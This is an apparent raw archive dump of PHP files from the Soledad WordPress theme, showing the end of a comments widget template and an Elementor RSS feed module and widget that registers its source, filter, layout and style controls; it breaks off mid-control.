							style="flex: 0 0 <?php echo esc_attr( $avatar_size ); ?>px">
							<a class="author-avatar"
								href="<?php echo get_permalink( $comment->comment_post_ID ); ?>#comment-<?php echo esc_attr( $comment->comment_ID ); ?>">
								<?php echo $usergravatar; ?>
							</a>
						</div>
						<?php
					}

					?>

					<div class="comment-body <?php echo esc_attr( $no_thumb ); ?>">
						<a class="comment-author"
							href="<?php echo get_permalink( $comment->comment_post_ID ); ?>#comment-<?php echo esc_attr( $comment->comment_ID ); ?>">
							<?php echo strip_tags( $comment->comment_author ); ?>
						</a>
						<p>
						<?php
							$comment_content = wp_strip_all_tags( $comment->comment_content );
							echo wp_trim_words( $comment_content, $length );
						?>
							</p>
					</div>

				</li>

				<?php
			}
			echo '</ul></div>';
		} else {
			echo penci_get_setting( 'penci_trans_no_comments' );
		}
	}
}
PK     N\[š[  [  /  inc/elementor/modules/penci-rss-feed/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciRssFeed;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-rss-feed';
	}

	public function get_widgets() {
		return array( 'PenciRssFeed' );
	}
}
PK     N\0z  z  ?  inc/elementor/modules/penci-rss-feed/widgets/penci-rss-feed.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciRssFeed\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Base\Base_Color;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Image_Size;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciRssFeed extends Base_Widget {

	public function get_name() {
		return 'penci-rss-feed';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' RSS Feed', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-list';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'rss', 'feed' );
	}

	protected function register_controls() {

		// Start feed source section.
		$this->start_controls_section(
			'feed-source',
			array(
				'label' => __( 'Feed Source', 'soledad' ),
			)
		);
		$this->add_control(
			'feeds',
			array(
				'label_block' => true,
				'label'       => __( 'RSS Feed source', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'description' => wp_sprintf( __( 'You can add multiple sources at once, by separating them with commas. <a href="%s" target="_blank">Click here</a> to check if the feed is valid. Invalid feeds may not import anything.', 'soledad' ), esc_url( 'https://validator.w3.org/feed/' ) ),
				// phpcs:ignore
			)
		);
		$this->add_control(
			'max',
			array(
				'label'   => __( 'Number of items to display', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 5,
				'min'     => 1,
			)
		);
		$this->add_control(
			'offset',
			array(
				'label'       => __( 'Items Offset', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'separator'   => 'before',
				'min'         => 0,
				'default'     => 0,
			)
		);
		$this->add_control(
			'sort',
			array(
				'label'   => __( 'Order items by', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''           => __( 'Default', 'soledad' ),
					'date_desc'  => __( 'Date Descending', 'soledad' ),
					'date_asc'   => __( 'Date Ascending', 'soledad' ),
					'title_desc' => __( 'Title Descending', 'soledad' ),
					'title_asc'  => __( 'Title Ascending', 'soledad' ),
				),
			)
		);
		$this->add_control(
			'refresh',
			array(
				'label_block' => true,
				'label'       => __( 'For how long we will cache the feed results', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'default'     => '12_hours',
				'options'     => array(
					'1_hours'  => wp_sprintf( __( '%d Hour', 'soledad' ), 1 ),
					'3_hours'  => wp_sprintf( __( '%d Hour', 'soledad' ), 3 ),
					'12_hours' => wp_sprintf( __( '%d Hour', 'soledad' ), 12 ),
					'1_days'   => wp_sprintf( __( '%d Day', 'soledad' ), 1 ),
					'3_days'   => wp_sprintf( __( '%d Days', 'soledad' ), 3 ),
					'15_days'  => wp_sprintf( __( '%d Days', 'soledad' ), 15 ),
				),
				'separator'   => 'before',
			)
		);
		$this->add_control(
			'error_empty',
			array(
				'label_block' => true,
				'label'       => __( 'Message to show when feed is empty', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'separator'   => 'before',
			)
		);
		$this->end_controls_section(); // End feed source section.

		// Start filter items section.
		$this->start_controls_section(
			'filter-items',
			array(
				'label' => wp_sprintf( __( 'Filter items%s', 'soledad' ) ),

			)
		);
		$this->add_control(
			'keywords_inc_on',
			array(
				'label'   => __( 'Display items if', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'title',
				'options' => array(
					'title'       => __( 'Title', 'soledad' ),
					'description' => __( 'Description', 'soledad' ),
					'author'      => __( 'Author', 'soledad' ),
				),

			)
		);
		$this->add_control(
			'keywords_title',
			array(
				'label_block' => true,
				'label'       => __( 'Contains:', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'description' => __( 'You can add multiple keywords at once by separating them with comma (,) or use the plus sign (+) to bind multiple keywords.', 'soledad' ),
			)
		);
		$this->add_control(
			'keywords_exc_on',
			array(
				'label'     => __( 'Exclude items if', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'title',
				'options'   => array(
					'title'       => __( 'Title', 'soledad' ),
					'description' => __( 'Description', 'soledad' ),
					'author'      => __( 'Author', 'soledad' ),
				),
				'separator' => 'before',
			)
		);
		$this->add_control(
			'keywords_ban',
			array(
				'label_block' => true,
				'label'       => __( 'Contains:', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'description' => __( 'You can add multiple keywords at once by separating them with comma (,) or use the plus sign (+) to bind multiple keywords.', 'soledad' ),
			)
		);
		$this->add_control(
			'from_datetime',
			array(
				'label_block' => true,
				'label'       => __( 'Filter items by time range, from: ', 'soledad' ),
				'type'        => Controls_Manager::DATE_TIME,
				'separator'   => 'before',
			)
		);
		$this->add_control(
			'to_datetime',
			array(
				'label_block' => true,
				'label'       => __( 'To ', 'soledad' ),
				'type'        => Controls_Manager::DATE_TIME,
			)
		);
		$this->end_controls_section(); // End filter items section.

		// Start item thumbnail section.
		$this->start_controls_section(
			'size-options',
			array(
				'label' => wp_sprintf( __( 'Item Thumbnail Options', 'soledad' ) ),
			)
		);
		$this->add_control(
			'thumb',
			array(
				'label_block' => true,
				'label'       => __( 'Display first image, when available', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'default'     => '',
				'options'     => array(
					''    => __( 'Yes (without a fallback image)', 'soledad' ),
					'yes' => __( 'Yes (with a fallback image)', 'soledad' ),
					'no'  => __( 'No', 'soledad' ),
				),
			)
		);
		$this->add_control(
			'item-fallback-thumb',
			array(
				'label_block' => true,
				'label'       => __( 'Choose the Fallback Image', 'soledad' ),
				'type'        => Controls_Manager::MEDIA,
				'default'     => array(
					'url' => \Elementor\Utils::get_placeholder_image_src(),
				),
				'condition' => ['thumb'=>'yes']
			)
		);

		$this->add_control( 'imgpos', array(
			'label'   => __( 'Image Position', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => array(
				'left'  => 'Left',
				'right' => 'Right',
				'top'   => 'Top',
			),
			'default' => 'left',
			'condition' => ['thumb!'=>'no']
		) );

		$this->add_responsive_control( 'imgwidth', [
			'label'      => __( 'Image Width', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => [ '%', 'px' ],
			'range'      => [
				'px' => [
					'min'  => 0,
					'max'  => 600,
					'step' => 1,
				],
				'%'  => [
					'min'  => 0,
					'max'  => 95,
					'step' => 0.1,
				],
			],
			'default'    => [
				'unit' => '%',
			],
			'selectors'  => [
				'{{WRAPPER}} .pcsl-inner .pcsl-thumb'                                                                             => 'width: {{SIZE}}{{UNIT}};',
				'{{WRAPPER}} .pcsl-imgpos-left .pcsl-content, {{WRAPPER}} .pcsl-imgpos-right .pcsl-content'                       => 'width: calc( 100% - {{SIZE}}{{UNIT}} );',
				'{{WRAPPER}} .pcsl-imgpos-left.pcsl-hdate .pcsl-content, {{WRAPPER}} .pcsl-imgpos-right.pcsl-hdate .pcsl-content' => 'width: calc( 100% - var(--pcsl-dwidth) - {{SIZE}}{{UNIT}} );',
			],
			'condition' => ['thumb!'=>'no']
		] );

		$this->add_control( 'image_align', array(
			'label'                => __( 'Image Align', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors'            => array(
				'{{WRAPPER}} .pcsl-inner.pcsl-imgpos-top .pcsl-thumb' => '{{VALUE}}',
			),
			'selectors_dictionary' => array(
				'left'   => 'marin-right: auto;',
				'center' => 'margin-left: auto; margin-right: auto;',
				'right'  => 'margin-left: auto;',
			),
			'conditions'           => [
				'relation' => 'and',
				'terms'    => [
					[
						'name'     => 'imgpos',
						'operator' => '==',
						'value'    => 'top'
					],
					[
						'name'     => 'imgwidth[size]',
						'operator' => '!=',
						'value'    => ''
					],
					[
						'name'     => 'thumb',
						'operator' => '!=',
						'value'    => 'no'
					]
				]
			]
		) );

		$this->add_responsive_control( 'img_ratio', array(
			'label'     => __( 'Image Ratio', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 300, 'step' => 0.5 ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-inner .penci-image-holder:before' => 'padding-top: {{SIZE}}%;',
			),
			'condition' => array( 'thumb!' => 'no' ),
		) );

		$this->add_control( 'disable_lazy', array(
			'label'        => __( 'Disable Lazyload Images?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition' => array( 'thumb!' => 'no' ),
		) );

		$this->add_control( 'imgtop_mobile', array(
			'label'        => __( 'Move Image Above The Feed Meta on Mobile?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'condition'    => array( 'imgpos' => array( 'left', 'right' ) ),
		) );
		$this->end_controls_section(); // End item thumbnail section.

		// Start layout section.
		$this->start_controls_section(
			'layout',
			array(
				'label' => wp_sprintf( __( 'Feed Layout%s', 'soledad' ) ),

			)
		);
		$this->add_control( 'type', array(
			'label'   => __( 'Type:', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => array(
				'grid'  => 'Grid',
				'crs'   => 'Carousel',
				'nlist' => 'Creative List',
			),
			'default' => 'grid',
		) );

		$this->add_control( 'column', array(
			'label'     => __( 'Columns', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'default'   => '3',
			'condition' => array( 'type!' => array( 'nlist' ) ),
		) );

		$this->add_control( 'tab_column', array(
			'label'     => __( 'Columns on Tablet', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				''  => 'Default',
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
			),
			'default'   => '',
			'condition' => array( 'type!' => array( 'nlist' ) ),
		) );

		$this->add_control( 'mb_column', array(
			'label'     => __( 'Columns on Mobile', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				''  => 'Default',
				'1' => '1',
				'2' => '2',
				'3' => '3',
			),
			'default'   => '',
			'condition' => array( 'type!' => array( 'nlist' ) ),
		) );

		$this->add_responsive_control( 'hgap', array(
			'label'     => __( 'Horizontal Space Between Feeds', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-smalllist' => '--pcsl-hgap: {{SIZE}}px;',
			),
			'condition' => array( 'type!' => array( 'nlist' ) ),
		) );

		$this->add_responsive_control( 'vgap', array(
			'label'     => __( 'Vertical Space Between Feeds', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-smalllist' => '--pcsl-bgap: {{SIZE}}px;',
			),
			'condition' => array( 'type' => array( 'grid', 'nlist' ) ),
		) );

		$this->add_responsive_control( 'imggap', array(
			'label'     => __( 'Space Between Image & Content', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-smalllist' => '--pcsl-between: {{SIZE}}px;',
			),
		) );

		$this->add_control( 'vertical_position', array(
			'label'                => __( 'Vertical Align', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'top'    => array(
					'title' => __( 'Top', 'soledad' ),
					'icon'  => 'eicon-v-align-top',
				),
				'middle' => array(
					'title' => __( 'Middle', 'soledad' ),
					'icon'  => 'eicon-v-align-middle',
				),
				'bottom' => array(
					'title' => __( 'Bottom', 'soledad' ),
					'icon'  => 'eicon-v-align-bottom',
				),
			),
			'selectors'            => array(
				'{{WRAPPER}} .pcsl-inner .pcsl-iteminer' => 'align-items: {{VALUE}}',
			),
			'selectors_dictionary' => array(
				'top'    => 'flex-start',
				'middle' => 'center',
				'bottom' => 'flex-end',
			),
		) );

		$this->add_control( 'text_align', array(
			'label'       => __( 'Content Text Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors'   => array(
				'{{WRAPPER}} .pcsl-content, {{WRAPPER}} .pcsl-flex-full' => 'text-align: {{VALUE}}'
			)
		) );
		$this->add_control( 'excerpt_pos', array(
			'label'     => __( 'Excerpt & Read More Position', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				'below' => 'Below of Image',
				'side'  => 'Side of Image',
			),
			'separator' => 'before',
			'default'   => 'below',
		) );
		$this->add_control(
			'target',
			array(
				'label'   => __( 'Links behavior (opened in the same window or a new tab)', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''          => __( 'Auto', 'soledad' ),
					'_blank'    => __( '_blank', 'soledad' ),
					'_self'     => __( '_self', 'soledad' ),
					'_top'      => __( '_top', 'soledad' ),
					'framename' => __( 'framename', 'soledad' ),
				),
			)
		);
		$this->add_control(
			'follow',
			array(
				'label'        => __( 'Add ”nofollow” tag to links', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'no',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'yes',
			)
		);
		$this->add_control(
			'item-display-title',
			array(
				'label'        => __( 'Display item Title', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'yes',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'yes',
				'separator'    => 'before',
			)
		);
		$this->add_control(
			'title',
			array(
				'label' => __( 'Max Title length (in characters)', 'soledad' ),
				'type'  => Controls_Manager::NUMBER,
				'min'   => 1,
			)
		);
		$this->add_control(
			'summary',
			array(
				'label'        => __( 'Display item Description', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'yes',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'yes',
				'separator'    => 'before',
			)
		);
		$this->add_control(
			'summarylength',
			array(
				'label' => __( 'Max Description length (in characters)', 'soledad' ),
				'type'  => Controls_Manager::NUMBER,
				'min'   => 1,
			)
		);
		$this->end_controls_section(); // End layout section.

		// Start custom options section.
		$this->start_controls_section(
			'custom-options',
			array(
				'label' => __( 'Feed Items Custom Options', 'soledad' ),
			)
		);
		$this->add_control(
			'cus-hide-meta',
			array(
				'label'        => __( 'Hide items Meta', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'no',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'yes',
			)
		);
		$this->add_control(
			'meta',
			array(
				'label'       => __( 'Display additional meta fields (author, date, time or categories)', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::SELECT2,
				'multiple'    => true,
				'options'     => array(
					'author'     => esc_html__( 'Author', 'soledad' ),
					'date'       => esc_html__( 'Date', 'soledad' ),
					'time'       => esc_html__( 'Time', 'soledad' ),
					'categories' => esc_html__( 'Categories', 'soledad' ),
				),
			)
		);
		$this->add_control(
			'cus-multiple-meta',
			array(
				'label'       => __( 'When using multiple sources, should we display additional meta fields?', 'soledad' ),
				'placeholder' => __( '(eg: source)', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
			)
		);
		$this->add_control(
			'source',
			array(
				'label'        => __( 'Show item source', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'no',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'yes',
				'separator'    => 'before',
				'description'  => __( 'When using multiple sources this will append the item source to the author tag (required).', 'soledad' ),
			)
		);
		$this->end_controls_section(); // End custom options section.

		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_style_content', array(
			'label' => __( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'ver_border', array(
			'label'        => __( 'Add Vertical Border Between Feed Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
		) );

		$this->add_control( 'ver_bordercl', array(
			'label'     => __( 'Custom Vertical Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsl-verbd .pcsl-item' => 'border-right-color: {{VALUE}};',
			),
			'condition' => array( 'ver_border' => 'yes' ),
		) );

		$this->add_responsive_control( 'ver_borderw', array(
			'label'     => __( 'Custom Vertical Border Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-verbd .pcsl-item' => 'border-right-width: {{SIZE}}px;',
			),
			'condition' => array( 'ver_border' => 'yes' ),
		) );

		$this->add_control( 'item_bg', array(
			'label'     => __( 'Feed Items Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-itemin' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_responsive_control( 'item_padding', array(
			'label'      => __( 'Feed Items Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-itemin' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_control( 'item_borders', array(
			'label'     => __( 'Add Borders for Feed Items', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-itemin' => 'border: 1px solid {{VALUE}};' ),
		) );

		$this->add_control( 'remove_border_last', array(
			'label'     => __( 'Remove Border Bottom On Last Item', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-col-1 .pcsl-item:last-child .pcsl-itemin' => 'padding-bottom: 0; border-bottom: none;'
			),
			'condition' => array( 'column' => '1', 'item_borders!' => '' ),
		) );

		$this->add_responsive_control( 'item_bordersw', array(
			'label'      => __( 'Feed Items Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-itemin' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'side_padding', array(
			'label'      => __( 'Padding for Side Content of Image', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-content' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}} !important;'
			),
		) );

		// Box Shadow
		$this->add_control( 'heading_featured_image_shadow', array(
			'label'     => __( 'Featured Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'featured_image_shadow_enable', array(
			'label' => __( 'Enable Shadow?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_responsive_control( 'featured_image_shadow', array(
			'label'     => __( 'Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::BOX_SHADOW,
			'selectors' => [
				'{{WRAPPER}} .pcsl-thumb' => 'box-shadow: {{HORIZONTAL}}px {{VERTICAL}}px {{BLUR}}px {{SPREAD}}px {{COLOR}} {{box_shadow_position.VALUE}};',
			],
			'condition' => [ 'featured_image_shadow_enable' => 'yes' ]
		) );

		$this->add_control( 'heading_pcat', array(
			'label'     => __( 'Feed Categories', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'cat_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .cat > a.penci-cat-name' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'cat_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'cat_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .cat > a.penci-cat-name',
		) );

		$this->add_control( 'heading_ptitle', array(
			'label'     => __( 'Feed Title', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'title_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-content .pcsl-title a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'title_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-content .pcsl-title a:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'title_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcsl-content .pcsl-title',
		) );

		$this->add_control( 'heading_date', array(
			'label'     => __( 'Feed Date ( for "Creative List" layout )', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'type' => array( 'nlist' ) ),
		) );

		$this->add_control( 'date_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-hdate .pcsl-date span' => 'color: {{VALUE}};' ),
			'condition' => array( 'type' => array( 'nlist' ) ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'date_typo',
			'label'     => __( 'Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .pcsl-hdate .pcsl-date span',
			'condition' => array( 'type' => array( 'nlist' ) ),
		) );

		$this->add_control( 'heading_meta', array(
			'label'     => __( 'Feed Meta', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'meta_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta span' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'links_color', array(
			'label'     => __( 'Links Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta span a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'links_hcolor', array(
			'label'     => __( 'Links Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta span a:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'meta_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .grid-post-box-meta',
		) );

		$this->add_control( 'heading_excerpt', array(
			'label'     => __( 'Feed Excerpt', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'show_excerpt' => 'yes' ),
		) );

		$this->add_control( 'excerpt_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'show_excerpt' => 'yes' ),
			'selectors' => array( '{{WRAPPER}} .pcbg-pexcerpt, {{WRAPPER}} .pcbg-pexcerpt p' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'excerpt_typo',
			'label'     => __( 'Typography', 'soledad' ),
			'condition' => array( 'show_excerpt' => 'yes' ),
			'selector'  => '{{WRAPPER}} .pcbg-pexcerpt p',
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_style_rm', array(
			'label'     => __( 'Read More Button', 'soledad' ),
			'tab'       => Controls_Manager::TAB_STYLE,
			'condition' => array( 'show_readmore' => 'yes' ),
		) );

		$this->add_responsive_control( 'rm_padding', array(
			'label'      => __( 'Button Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'condition'  => array( 'rmstyle!' => 'text' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'rm_borders', array(
			'label'      => __( 'Button Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'condition'  => array( 'rmstyle' => array( 'bordered', 'underline' ) ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'rm_radius', array(
			'label'      => __( 'Button Borders Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'condition'  => array( 'rmstyle' => array( 'bordered', 'filled' ) ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'rm_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn',
		) );

		$this->add_control( 'rm_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_hcolor', array(
			'label'     => __( 'Text Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'rmstyle' => array( 'bordered', 'filled' ) ),
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_hbgcolor', array(
